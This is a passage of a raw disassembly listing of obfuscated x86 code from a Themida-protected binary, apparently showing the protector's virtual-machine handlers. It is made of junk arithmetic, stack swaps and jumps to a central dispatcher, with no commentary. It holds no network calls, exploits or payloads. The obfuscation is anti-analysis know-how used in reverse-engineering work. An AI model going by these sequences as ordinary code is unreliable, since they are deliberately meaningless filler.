edx, 1C651A3Eh sub edi, edx jmp loc_5595DC ; --------------------------------------------------------------------------- loc_558DE1: ; CODE XREF: Themida_:0056463Aj add edi, esi sub edi, 582C1E4Fh add edi, 0E0F27B7h jmp loc_55626E ; --------------------------------------------------------------------------- loc_558DF4: ; CODE XREF: Themida_:00560EE2j xchg ecx, [esp] pop esp jmp loc_555059 ; --------------------------------------------------------------------------- loc_558DFD: ; CODE XREF: Themida_:0055BE33j mov edx, 0F13E9EFDh jmp loc_55A3DC ; --------------------------------------------------------------------------- loc_558E07: ; CODE XREF: Themida_:00562111j sub al, 6Dh push ebx mov bl, 0A1h push cx mov ch, 5Ch jmp loc_553391 ; --------------------------------------------------------------------------- loc_558E15: ; CODE XREF: Themida_:005581F4j pop esp push 4FADh mov [esp], edx jmp loc_558873 ; --------------------------------------------------------------------------- loc_558E23: ; CODE XREF: Themida_:0055D99Dj mov eax, [esp] push 4BF9h mov [esp], ebp jmp loc_55BCA4 ; --------------------------------------------------------------------------- loc_558E33: ; CODE XREF: Themida_:00555276j shl eax, 4 sub eax, 87E7F0BCh add edx, eax jmp loc_55C0EE ; --------------------------------------------------------------------------- loc_558E42: ; CODE XREF: Themida_:005528C2j add esp, 4 xchg ebx, [esp] jmp loc_5592BC ; --------------------------------------------------------------------------- loc_558E50: ; CODE XREF: Themida_:0056240Ej or edx, 52382D35h dec edx jmp loc_55A608 ; --------------------------------------------------------------------------- loc_558E5C: ; CODE XREF: Themida_:0055E919j pop ecx pop ebx push esi mov esi, 26A31FDCh jmp loc_555E21 ; --------------------------------------------------------------------------- loc_558E69: ; CODE XREF: Themida_:0055BA65j xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], ebx mov ebx, 399955A6h push ebp mov ebp, 399955A2h add ebx, 49772895h sub ebx, ebp sub ebx, 49772895h pop ebp add esi, ebx pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 sub eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_55C9F5 ; --------------------------------------------------------------------------- loc_558ED4: ; CODE XREF: Themida_:0055AEA5j xor ch, bh pop ebx add ch, 0FFh add ch, 0CBh xor al, ch pop ecx jmp loc_55A683 ; --------------------------------------------------------------------------- loc_558EE5: ; CODE XREF: Themida_:00555D31j jmp loc_550420 ; --------------------------------------------------------------------------- loc_558EEA: ; CODE XREF: Themida_:005646C7j mov [esp], edx jmp loc_551183 ; --------------------------------------------------------------------------- loc_558EF2: ; CODE XREF: Themida_:0055E8EFj add esp, 4 push edi mov edi, 2 sub eax, 3A611FC0h add eax, edi push edi jmp loc_558726 ; --------------------------------------------------------------------------- mov cx, [esp] push 5247h mov [esp], ebx push 546Dh mov [esp], esp add dword ptr [esp], 4 pop ebx push edx push ebx push eax push 67660214h pop eax or eax, 576D0E3Eh push ebp mov ebp, 5AC12C3h jmp loc_55DA5B ; --------------------------------------------------------------------------- loc_558F3D: ; CODE XREF: Themida_:00551CDDj sub edi, 706985DBh and ebp, edi pop edi jmp loc_557E86 ; --------------------------------------------------------------------------- loc_558F4B: ; CODE XREF: Themida_:0055E217j push 1C69h jmp loc_551131 ; --------------------------------------------------------------------------- loc_558F55: ; CODE XREF: Themida_:0055610Aj sub edi, 8296AB4h sub edi, 5B2E6745h sub edi, 0DD23936Ch jmp loc_55288C ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5539B1 ; --------------------------------------------------------------------------- loc_558F75: ; CODE XREF: Themida_:0055D64Dj mov [esp], ecx jmp loc_55B14F ; --------------------------------------------------------------------------- loc_558F7D: ; CODE XREF: Themida_:005598EDj mov ebp, 4B6018FFh dec ebp jmp loc_55A206 ; --------------------------------------------------------------------------- loc_558F88: ; CODE XREF: Themida_:00551304j mov esp, [esp] jmp loc_562930 ; --------------------------------------------------------------------------- loc_558F90: ; CODE XREF: Themida_:00553D75j push ebp mov ebp, 0FB9BEC9Ah sub esi, ebp pop ebp neg esi neg esi sub esi, 40121032h jmp loc_56432F ; --------------------------------------------------------------------------- loc_558FA8: ; CODE XREF: Themida_:0055BA22j mov edi, [esp] push ebp jmp loc_55E8B7 ; --------------------------------------------------------------------------- loc_558FB1: ; CODE XREF: Themida_:00553994j push dword ptr [esp] push dword ptr [esp] jmp loc_562DB1 ; --------------------------------------------------------------------------- loc_558FBC: ; CODE XREF: Themida_:00551B84j push esi mov esi, 0B5E3592h add esi, 6C694E63h shl esi, 3 or esi, 31194ADEh neg esi xor esi, 40C2A006h add eax, esi mov esi, [esp] jmp loc_552803 ; --------------------------------------------------------------------------- loc_558FE3: ; CODE XREF: Themida_:00552A31j sub dl, 98h jmp loc_5573E9 ; --------------------------------------------------------------------------- loc_558FEB: ; CODE XREF: Themida_:0055E62Cj add esp, 4 push ebp mov ebp, 359660D6h xchg ecx, ebp not ecx jmp loc_564F79 ; --------------------------------------------------------------------------- loc_559000: ; CODE XREF: Themida_:00557ACAj xchg ebp, [esp] pop esp sub esp, 4 jmp loc_561E14 ; --------------------------------------------------------------------------- loc_55900F: ; CODE XREF: Themida_:005633E8j add esp, 4 jmp loc_5617DB ; --------------------------------------------------------------------------- loc_559017: ; CODE XREF: Themida_:00555FB8j push edx push eax push 5E2C1D39h jmp loc_55A495 ; --------------------------------------------------------------------------- loc_559023: ; CODE XREF: Themida_:0055E64Fj push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_56202C ; --------------------------------------------------------------------------- loc_559039: ; CODE XREF: Themida_:00554EF3j not ecx sub ecx, 4043C71Bh jmp loc_552E76 ; --------------------------------------------------------------------------- loc_559046: ; CODE XREF: Themida_:00550AE7j mov ecx, [esp] add esp, 4 jmp loc_565A50 ; --------------------------------------------------------------------------- loc_559051: ; CODE XREF: Themida_:00558772j or ebx, 52CA544Fh sub ebx, 6403F331h xor edx, ebx pop ebx mov eax, edx jmp loc_55B4E3 ; --------------------------------------------------------------------------- loc_559067: ; CODE XREF: Themida_:005619F8j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esp push dword ptr [esp] pop ebp push edi jmp loc_55953E ; --------------------------------------------------------------------------- loc_559087: ; CODE XREF: Themida_:0055E7B3j add eax, 4 jmp loc_5518FC ; --------------------------------------------------------------------------- loc_559091: ; CODE XREF: Themida_:0055DB25j add esi, edi pop edi add esi, 407E1D17h add esi, eax push edi mov edi, 7C53687Ah neg edi add edi, 34E54287h xor edi, 5C215D6h add edi, 832A4D3Ch jmp loc_561DBA ; --------------------------------------------------------------------------- loc_5590BB: ; CODE XREF: Themida_:005574C6j mov ecx, [esp] add esp, 4 push esi jmp loc_565B36 ; --------------------------------------------------------------------------- loc_5590C7: ; CODE XREF: Themida_:00556F49j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub ch, ah pop ax push ebx push edx mov dh, 2 and dh, 29h sub esp, 2 mov [esp], bx mov bl, 83h dec bl add bl, 0BCh jmp loc_565070 ; --------------------------------------------------------------------------- loc_5590EF: ; CODE XREF: Themida_:00559A36j or eax, 4DCC6032h push esi jmp loc_551B1F ; --------------------------------------------------------------------------- loc_5590FA: ; CODE XREF: Themida_:0055A974j push 497Bh mov [esp], edx push 58C1h mov [esp], eax push edx mov dl, 0FDh and dl, 4Ch shl dl, 5 shr dl, 1 neg dl xor dl, 83h jmp loc_552494 ; --------------------------------------------------------------------------- loc_55911F: ; CODE XREF: Themida_:00552330j push ebx mov ebx, 9490DFAh mov esi, ebx pop ebx sub esi, 0FFFFFFFFh add esi, 1 and esi, 10AC202Bh push edx jmp loc_551570 ; --------------------------------------------------------------------------- loc_55913D: ; CODE XREF: Themida_:0055CEE1j sub edx, 71CB4FF1h jmp loc_553B3A ; --------------------------------------------------------------------------- loc_559148: ; CODE XREF: Themida_:0055B9D4j sub [edi+24h], eax push dword ptr [esp] jmp loc_55BBD3 ; --------------------------------------------------------------------------- loc_559153: ; CODE XREF: Themida_:00556858j pop ebx xchg eax, [esp] pop esp xor al, ch pop ecx jmp loc_559724 ; --------------------------------------------------------------------------- loc_559160: ; CODE XREF: Themida_:005636BAj add ebx, 756C4393h jmp loc_5632CE ; --------------------------------------------------------------------------- loc_55916B: ; CODE XREF: Themida_:005620EBj pop edx mov bx, [esp] add esp, 2 add al, bl push ebx push edx mov dh, 8Eh xor dh, 4Ah mov bl, dh pop edx sub bl, 12h sub al, 0A3h jmp loc_5611DF ; --------------------------------------------------------------------------- loc_55918C: ; CODE XREF: Themida_:00562447j pop ebp jmp loc_55BFF8 ; --------------------------------------------------------------------------- loc_559192: ; CODE XREF: Themida_:005630CAj add esp, 4 jmp loc_559E24 ; --------------------------------------------------------------------------- loc_55919A: ; CODE XREF: Themida_:0055061Cj pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5591B4: ; CODE XREF: Themida_:00551047j push esi mov esi, 1D085E3h sub eax, esi pop esi xor ebp, eax pop eax push edx jmp loc_55BD94 ; --------------------------------------------------------------------------- loc_5591C6: ; CODE XREF: Themida_:005652A0j pop ecx sub edx, 1D1547FFh jmp loc_5557FC ; --------------------------------------------------------------------------- loc_5591D2: ; CODE XREF: Themida_:005585F0j add eax, 78C84B98h shr eax, 4 jmp loc_55758A ; --------------------------------------------------------------------------- loc_5591DF: ; CODE XREF: Themida_:00562DB9j mov edi, esp jmp loc_55C5FA ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_557ACF ; --------------------------------------------------------------------------- loc_5591EE: ; CODE XREF: Themida_:00564107j shl ebp, 1 push esi jmp loc_55979A ; --------------------------------------------------------------------------- loc_5591F6: ; CODE XREF: Themida_:005568C5j sub edi, 0FFFFFFFFh or edi, 328F2C91h inc edi dec edi jmp loc_561D34 ; --------------------------------------------------------------------------- loc_559206: ; CODE XREF: Themida_:00562A5Dj pop eax push 7C19h mov [esp], ebp mov ebp, 43F565F3h jmp loc_558154 ; --------------------------------------------------------------------------- loc_559219: ; CODE XREF: Themida_:0055BA08j add esp, 4 jmp loc_55467D ; --------------------------------------------------------------------------- loc_559221: ; CODE XREF: Themida_:005558EBj add esi, eax jmp loc_55FB67 ; --------------------------------------------------------------------------- loc_559228: ; CODE XREF: Themida_:00551FA7j pop esp mov [esp], ebx jmp loc_552128 ; --------------------------------------------------------------------------- loc_559231: ; CODE XREF: Themida_:0055B11Cj pop edx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp sub esp, 4 jmp loc_55C8B9 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_550545 ; --------------------------------------------------------------------------- loc_559256: ; CODE XREF: Themida_:0055BC6Dj add ecx, edx jmp loc_557242 ; --------------------------------------------------------------------------- loc_55925D: ; CODE XREF: Themida_:00559FD4j sub ebp, 1AD5C685h add eax, ebp pop ebp push ecx mov ecx, 67FF6107h add ebp, ecx pop ecx jmp loc_564A50 ; --------------------------------------------------------------------------- loc_559274: ; CODE XREF: Themida_:005525ADj pop esp mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_557B91 ; --------------------------------------------------------------------------- loc_559285: ; CODE XREF: Themida_:00552A23j add esp, 4 sub esp, 4 jmp loc_553259 ; --------------------------------------------------------------------------- loc_559296: ; CODE XREF: Themida_:0055B27Ej mov edx, edi jmp loc_558713 ; --------------------------------------------------------------------------- loc_55929D: ; CODE XREF: Themida_:0055BB7Aj xor si, 0C774h sub ax, si jmp loc_559D1E ; --------------------------------------------------------------------------- loc_5592AA: ; CODE XREF: Themida_:005648DAj add eax, edx sub eax, 135B1893h push edi mov edi, 68B4686Eh jmp loc_55AA08 ; --------------------------------------------------------------------------- loc_5592BC: ; CODE XREF: Themida_:00558E4Bj mov esp, [esp] mov [esp], ecx mov ecx, esp push edx mov edx, 6BFA18CAh xor edx, 754118A0h push eax mov eax, 752709FBh jmp loc_55797E ; --------------------------------------------------------------------------- loc_5592DB: ; CODE XREF: Themida_:0055AD5Dj push 6672h mov [esp], ebp push edi mov edi, 227F23F4h mov ebp, 227F23F0h xor ebp, edi pop edi jmp loc_55C257 ; --------------------------------------------------------------------------- loc_5592F6: ; CODE XREF: Themida_:0056570Cj add edi, 4 xchg edi, [esp] pop esp sub bl, 23h sub bl, al add bl, 23h mov eax, [esp] jmp loc_563176 ; --------------------------------------------------------------------------- loc_559310: ; CODE XREF: Themida_:00559D06j sub ebx, ecx pop ecx push cx push 1D1Bh mov [esp], eax jmp loc_551732 ; --------------------------------------------------------------------------- loc_559322: ; CODE XREF: Themida_:005649ADj xchg edi, [esp] mov esp, [esp] test cx, ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_559331: ; CODE XREF: Themida_:00554DCCj sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 0 push esi sub dword ptr [esp], 79A73E81h mov ebx, [esp] add esp, 4 jmp loc_556E66 ; --------------------------------------------------------------------------- loc_559356: ; CODE XREF: Themida_:00553966j not ebp sub ebp, 4FD42C8Fh or ebp, 59CF00BFh jmp loc_5615F1 ; --------------------------------------------------------------------------- loc_559369: ; CODE XREF: Themida_:00561A5Dj mov esi, 66A21BF9h neg esi neg esi shl esi, 7 sub esi, 5E29174h mov edx, esi jmp loc_554529 ; --------------------------------------------------------------------------- loc_559382: ; CODE XREF: Themida_:0056429Bj not al jmp loc_559A3B ; --------------------------------------------------------------------------- loc_559389: ; CODE XREF: Themida_:005511F3j pop eax sub edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_5519E9 ; --------------------------------------------------------------------------- loc_5593A0: ; CODE XREF: Themida_:0055F700j add eax, 2 jmp loc_56015A ; --------------------------------------------------------------------------- loc_5593AA: ; CODE XREF: Themida_:005616A0j sub ebx, 9CC6ED6h jmp loc_557554 ; --------------------------------------------------------------------------- loc_5593B5: ; CODE XREF: Themida_:00564D5Dj mov [esp], ebx mov ebx, 9DA0C52h and ebp, ebx jmp loc_558D29 ; --------------------------------------------------------------------------- loc_5593C4: ; CODE XREF: Themida_:00559C2Cj mov [esp], ebx mov ebx, 21CF1533h jmp loc_5536C7 ; --------------------------------------------------------------------------- loc_5593D1: ; CODE XREF: Themida_:0055E33Ej pop dword ptr [esp] jmp loc_55B470 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push ebx jmp loc_55949B ; --------------------------------------------------------------------------- loc_5593E2: ; CODE XREF: Themida_:00560B84j pop dword ptr [esp] add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 push ebx jmp loc_5556F9 ; --------------------------------------------------------------------------- loc_5593FA: ; CODE XREF: Themida_:0055DBBEj sub ebp, 4 xchg ebp, [esp] jmp loc_55B217 ; --------------------------------------------------------------------------- loc_559408: ; CODE XREF: Themida_:00552C07j push esi push 0BDA77C2h mov esi, [esp] add esp, 4 shr esi, 2 jmp loc_557598 ; --------------------------------------------------------------------------- loc_55941F: ; CODE XREF: Themida_:00561FE1j pop ebx add esp, 4 push dword ptr [esp] pop ecx add esp, 4 xchg edx, [esp] jmp loc_557CCD ; --------------------------------------------------------------------------- loc_559435: ; CODE XREF: Themida_:00563C0Bj mov dx, [esp] push eax jmp loc_55BE58 ; --------------------------------------------------------------------------- loc_55943F: ; CODE XREF: Themida_:0055D827j add esp, 4 jmp loc_5534F3 ; --------------------------------------------------------------------------- loc_559447: ; CODE XREF: Themida_:00556E61j push 76EFh mov [esp], esi push ebx mov ebx, 4 mov esi, ebx jmp loc_55CACD ; --------------------------------------------------------------------------- loc_55945C: ; CODE XREF: Themida_:0055CBF6j push edi mov edi, 58737424h jmp loc_5520C5 ; --------------------------------------------------------------------------- mov cx, [esp] push 141Bh mov [esp], edi push esp pop edi jmp loc_56329C ; --------------------------------------------------------------------------- loc_55947A: ; CODE XREF: Themida_:005521BCj sub edx, 107B1CE6h add edx, esi add edx, 107B1CE6h add edx, 72B07B56h pop esi push edi sub esp, 4 jmp loc_5511E4 ; --------------------------------------------------------------------------- loc_55949B: ; CODE XREF: Themida_:005593DDj mov ebx, 29760E7Bh sub [esp+4], ebx pop ebx push dword ptr [esp] jmp loc_556F55 ; --------------------------------------------------------------------------- loc_5594AD: ; CODE XREF: Themida_:0055C8E5j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebx jmp loc_551A08 ; --------------------------------------------------------------------------- loc_5594C8: ; CODE XREF: Themida_:005619EEj xchg edi, [esp] pop esp jmp loc_5528E6 ; --------------------------------------------------------------------------- loc_5594D1: ; CODE XREF: Themida_:00557979j push esp push dword ptr [esp] pop eax sub esp, 4 jmp loc_55B546 ; --------------------------------------------------------------------------- loc_5594E1: ; CODE XREF: Themida_:00565266j inc edx jmp loc_552422 ; --------------------------------------------------------------------------- loc_5594E7: ; CODE XREF: Themida_:005644F3j sub ebx, ecx add ebx, 7A659F2h pop ecx push small word ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- loc_5594F8: ; CODE XREF: Themida_:00563B9Bj add eax, edx jmp loc_55234F ; --------------------------------------------------------------------------- loc_5594FF: ; CODE XREF: Themida_:00551BC6j and edi, 603B7708h shr edi, 6 sub edi, 0B171E933h xor ebx, edi jmp loc_551D5D ; --------------------------------------------------------------------------- loc_559515: ; CODE XREF: Themida_:00558421j pop eax push 2980h jmp loc_5508A2 ; --------------------------------------------------------------------------- loc_559520: ; CODE XREF: Themida_:00554B92j sub edi, 1E5D1B7Ch add edi, eax add edi, 1E5D1B7Ch pop eax push edi push dword ptr [esp+4] push dword ptr [esp] pop edi push eax jmp loc_556032 ; --------------------------------------------------------------------------- loc_55953E: ; CODE XREF: Themida_:00559082j mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5607FF ; --------------------------------------------------------------------------- loc_55955A: ; CODE XREF: Themida_:00550478j sub cl, 0F1h pop eax add cl, ah add cl, 7Ch sub cl, 0DEh jmp loc_55A3AC ; --------------------------------------------------------------------------- loc_55956B: ; CODE XREF: Themida_:00552899j push ebp mov ebp, 60B16ABBh add ebp, 6721241Bh not ebp push ecx mov ecx, 45FA190Ah jmp loc_5511CB ; --------------------------------------------------------------------------- loc_559584: ; CODE XREF: Themida_:005526ACj xchg edi, [esp] pop esp jmp loc_55DAA3 ; --------------------------------------------------------------------------- loc_55958D: ; CODE XREF: Themida_:0055A6ECj pop dx pop ecx mov ecx, [esp] add esp, 4 jmp loc_5599D8 ; --------------------------------------------------------------------------- loc_55959E: ; CODE XREF: Themida_:00563EF4j add eax, 10AB09EEh add eax, edx sub eax, 10AB09EEh sub eax, 631536ECh push dword ptr [esp] jmp loc_561009 ; --------------------------------------------------------------------------- loc_5595B7: ; CODE XREF: Themida_:0055DD7Bj add edx, 4 add edx, 4 jmp loc_56204F ; --------------------------------------------------------------------------- loc_5595C8: ; CODE XREF: Themida_:00557E4Fj mov [esp], ebx mov bh, 0BBh xor al, bh pop ebx push ecx push ebx mov bl, 0F2h and bl, 1Ah jmp loc_564A15 ; --------------------------------------------------------------------------- loc_5595DC: ; CODE XREF: Themida_:00558DDCj pop edx neg edi sub edi, 86B06185h jmp loc_560619 ; --------------------------------------------------------------------------- loc_5595EA: ; CODE XREF: Themida_:005611BBj pop edi add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 2F08h mov [esp], edi push ecx mov ecx, 59316A3Bh mov edi, ecx pop ecx xor edi, 38D43F70h sub edi, 6EC63795h push ebx jmp loc_5533FD ; --------------------------------------------------------------------------- loc_559624: ; CODE XREF: Themida_:00558909j sub bl, 4Bh movzx eax, al jmp loc_560673 ; --------------------------------------------------------------------------- loc_55962F: ; CODE XREF: Themida_:005519B3j mov [esp], ebx jmp loc_558819 ; --------------------------------------------------------------------------- loc_559637: ; CODE XREF: Themida_:0055F52Ej xor edi, 424F1398h pop eax push edx mov edx, 213B1459h add edi, edx pop edx xor edi, 99078886h sub edx, edi pop edi push edx jmp loc_5616CD ; --------------------------------------------------------------------------- loc_559656: ; CODE XREF: Themida_:00552D99j pop esi add eax, esi pop esi push ecx mov ecx, 52674603h sub eax, ecx jmp loc_55F7D8 ; --------------------------------------------------------------------------- loc_559667: ; CODE XREF: Themida_:00560B1Bj sub eax, 33526C00h jmp loc_55285E ; --------------------------------------------------------------------------- loc_559671: ; CODE XREF: Themida_:00553E10j add eax, edi add eax, 6B24FA0h pop edi push eax neg dword ptr [esp] mov eax, [esp] add esp, 4 neg eax inc eax push ebx jmp loc_563465 ; --------------------------------------------------------------------------- loc_55968F: ; CODE XREF: Themida_:00555D37j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push eax jmp loc_55BD75 ; --------------------------------------------------------------------------- loc_5596A4: ; CODE XREF: Themida_:0055A55Bj sub esi, 4D73CC0h sub esi, 5F724417h jmp loc_561E87 ; --------------------------------------------------------------------------- loc_5596B5: ; CODE XREF: Themida_:00555452j pop edx add ecx, ebx sub ecx, 0D07928h pop ebx add ecx, 2 xchg ecx, [esp] mov esp, [esp] jmp loc_551C25 ; --------------------------------------------------------------------------- loc_5596D0: ; CODE XREF: Themida_:005629BEj xchg edi, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_55DCC0 ; --------------------------------------------------------------------------- loc_5596DD: ; CODE XREF: Themida_:0055CFB2j pop ebx sub esp, 4 mov [esp], eax mov eax, 3CC51C42h sub ebx, eax pop eax jmp loc_558D91 ; --------------------------------------------------------------------------- loc_5596F1: ; CODE XREF: Themida_:00555AC4j and esi, 6B3D0B07h xor esi, 45A63DADh jmp loc_56499E ; --------------------------------------------------------------------------- loc_559702: ; CODE XREF: Themida_:00563186j push dword ptr [esp] pop eax add esp, 4 shl eax, 8 jmp loc_55DA8D ; --------------------------------------------------------------------------- loc_559714: ; CODE XREF: Themida_:005618B0j mov [esp], esi mov esi, esp add esi, 4 jmp loc_5573AA ; --------------------------------------------------------------------------- loc_559724: ; CODE XREF: Themida_:0055915Bj push ecx push edx jmp loc_565BBD ; --------------------------------------------------------------------------- loc_55972B: ; CODE XREF: Themida_:00559DC2j sub ebx, 4 push ebx jmp loc_563F41 ; --------------------------------------------------------------------------- loc_559734: ; CODE XREF: Themida_:00564F8Aj push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55974F: ; CODE XREF: Themida_:0055441Aj mov [esp], ebp mov ebp, 2 push 5A9Fh mov [esp], eax mov eax, 462154D8h jmp loc_55804C ; --------------------------------------------------------------------------- loc_559769: ; CODE XREF: Themida_:00560993j mov eax, [esp] jmp loc_554745 ; --------------------------------------------------------------------------- loc_559771: ; CODE XREF: Themida_:0055E92Fj push dword ptr [esp] pop ecx add esp, 4 neg ebp add ebp, 60154EDFh push eax mov eax, 820B3EAEh add ebp, eax jmp loc_55D6F6 ; --------------------------------------------------------------------------- loc_55978D: ; CODE XREF: Themida_:0055DA01j push ebx jmp loc_55A1A7 ; --------------------------------------------------------------------------- loc_559793: ; CODE XREF: Themida_:005630A9j add al, bl jmp loc_552AD8 ; --------------------------------------------------------------------------- loc_55979A: ; CODE XREF: Themida_:005591F1j mov esi, 53880FA9h jmp loc_561988 ; --------------------------------------------------------------------------- loc_5597A4: ; CODE XREF: Themida_:0055AA39j shl eax, 8 jmp loc_556E2F ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push 6891h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_55B497 ; --------------------------------------------------------------------------- loc_5597CC: ; CODE XREF: Themida_:00555950j pop esi pop dword ptr [esp] pop esp push ecx jmp loc_554C3A ; --------------------------------------------------------------------------- loc_5597D7: ; CODE XREF: Themida_:0055A81Bj push 4AD9h jmp $+5 mov [esp], esp add dword ptr [esp], 4 jmp loc_5642EC ; --------------------------------------------------------------------------- loc_5597ED: ; CODE XREF: Themida_:0055688Ej mov ecx, 2 sub ebp, 281E12F1h sub ebp, ecx push ebx mov ebx, 1F4E1A56h jmp loc_553F60 ; --------------------------------------------------------------------------- loc_559805: ; CODE XREF: Themida_:0055800Fj movzx eax, al jmp loc_55187E ; --------------------------------------------------------------------------- loc_55980D: ; CODE XREF: Themida_:00550AFBj pop esp sub esp, 4 mov [esp], ebx push ebp push 62FE697Ch mov ebp, [esp] add esp, 4 jmp loc_553A62 ; --------------------------------------------------------------------------- loc_55982B: ; CODE XREF: Themida_:005534A4j shr edx, 8 jmp loc_55F18D ; --------------------------------------------------------------------------- loc_559833: ; CODE XREF: Themida_:005648B1j sub edx, eax pop eax sub ebx, edx jmp loc_55C57F ; --------------------------------------------------------------------------- mov cx, [esp] push 3455h mov [esp], ecx push 0B22h mov [esp], esp push ecx mov ecx, 44847A5Fh not ecx jmp loc_55D7A2 ; --------------------------------------------------------------------------- loc_55985E: ; CODE XREF: Themida_:005537AEj add al, dh pop edx sub al, ch push edx mov dl, 20h sub al, dl pop edx pop cx add al, 0C3h add al, ch sub al, 0C3h add al, 0D1h mov cx, [esp] add esp, 2 push 7F20h mov [esp], ecx mov cl, 13h shr cl, 2 xor cl, 0ADh push eax mov ah, 51h xor ah, 1Fh and ah, 1Dh jmp loc_55C51B ; --------------------------------------------------------------------------- loc_559898: ; CODE XREF: Themida_:005531D7j add eax, ebp mov ebp, [esp] add esp, 4 add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5598BA: ; CODE XREF: Themida_:00564739j sub edi, 3D917877h mov ebx, [esp] push eax mov eax, esp add eax, 4 jmp loc_551E52 ; --------------------------------------------------------------------------- loc_5598D0: ; CODE XREF: Themida_:00559DDDj xchg ecx, [esp] pop esp push edx push esp pop edx push eax mov eax, 48E3448Dh add eax, 5AAA58FDh neg eax add eax, 0A38D9D8Eh add edx, eax pop eax push ebp jmp loc_558F7D ; --------------------------------------------------------------------------- loc_5598F2: ; CODE XREF: Themida_:0055D236j push 7A6D15AEh pop eax and eax, 9D10793h jmp loc_560B18 ; --------------------------------------------------------------------------- loc_559902: ; CODE XREF: Themida_:0056101Ej add ecx, 0FFFFFFFFh xor ecx, 6A23811Bh mov esi, ecx pop ecx sub esp, 4 mov [esp], esi push ebx mov ebx, 25CD10DBh mov esi, 4D8F08B3h add esi, ebx pop ebx mov edi, esi jmp loc_564928 ; --------------------------------------------------------------------------- loc_559929: ; CODE XREF: Themida_:0055B8C2j sub esp, 4 mov [esp], esi jmp loc_554F5E ; --------------------------------------------------------------------------- loc_559934: ; CODE XREF: Themida_:00550F3Aj push ebp push 779E72E3h mov ebp, [esp] jmp loc_55745E ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] jmp loc_560F86 ; --------------------------------------------------------------------------- loc_55994B: ; CODE XREF: Themida_:00563E8Aj push edi mov edi, esp jmp loc_555342 ; --------------------------------------------------------------------------- loc_559953: ; CODE XREF: Themida_:0055E726j mov [esp], ax push 3B53h mov [esp], ecx mov ch, 0D9h mov ah, 0CEh jmp loc_55C80B ; --------------------------------------------------------------------------- loc_559968: ; CODE XREF: Themida_:00552BE5j add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] idiv ecx push 2D8Ch jmp loc_558C12 ; --------------------------------------------------------------------------- loc_559983: ; CODE XREF: Themida_:0055495Cj xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx mov cl, 70h sub al, cl push dword ptr [esp] jmp loc_555658 ; --------------------------------------------------------------------------- loc_55999C: ; CODE XREF: Themida_:0055D05Ej pop ebx sub ebx, ebp jmp loc_5619FD ; --------------------------------------------------------------------------- loc_5599A4: ; CODE XREF: Themida_:0055E6C6j xor esi, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5599B5: ; CODE XREF: Themida_:00565163j mov esp, [esp] push 22BBh mov [esp], edx push esp pop edx push edi mov edi, 25CF45DAh add edi, 5EAD6DCAh xchg ebp, edi not ebp inc ebp jmp loc_560316 ; --------------------------------------------------------------------------- loc_5599D8: ; CODE XREF: Themida_:00559599j sub bl, 0F5h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp push 4D9Dh mov [esp], edx push esi mov esi, 698A666Ah jmp loc_56053F ; --------------------------------------------------------------------------- loc_5599FD: ; CODE XREF: Themida_:00559C79j sub ebx, esi jmp loc_55206D ; --------------------------------------------------------------------------- loc_559A04: ; CODE XREF: Themida_:005560CDj push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_55EE26 ; --------------------------------------------------------------------------- loc_559A17: ; CODE XREF: Themida_:00551D48j mov dh, 0F9h xor al, dh jmp loc_560201 ; --------------------------------------------------------------------------- loc_559A20: ; CODE XREF: Themida_:00551BB2j xchg eax, ebp push eax mov eax, 632965DAh add eax, 22C87E9Eh xor eax, 51C83F6Ch and eax, 3CEE46F8h jmp loc_5590EF ; --------------------------------------------------------------------------- loc_559A3B: ; CODE XREF: Themida_:00559384j shl al, 8 push ecx jmp loc_557C42 ; --------------------------------------------------------------------------- loc_559A44: ; CODE XREF: Themida_:005505E2j add esi, 4 add esi, 4 jmp loc_558950 ; --------------------------------------------------------------------------- loc_559A55: ; CODE XREF: Themida_:0055C34Bj xor ch, 0D7h add ch, 7Ah add al, ch pop ecx pop ebx push 445h mov 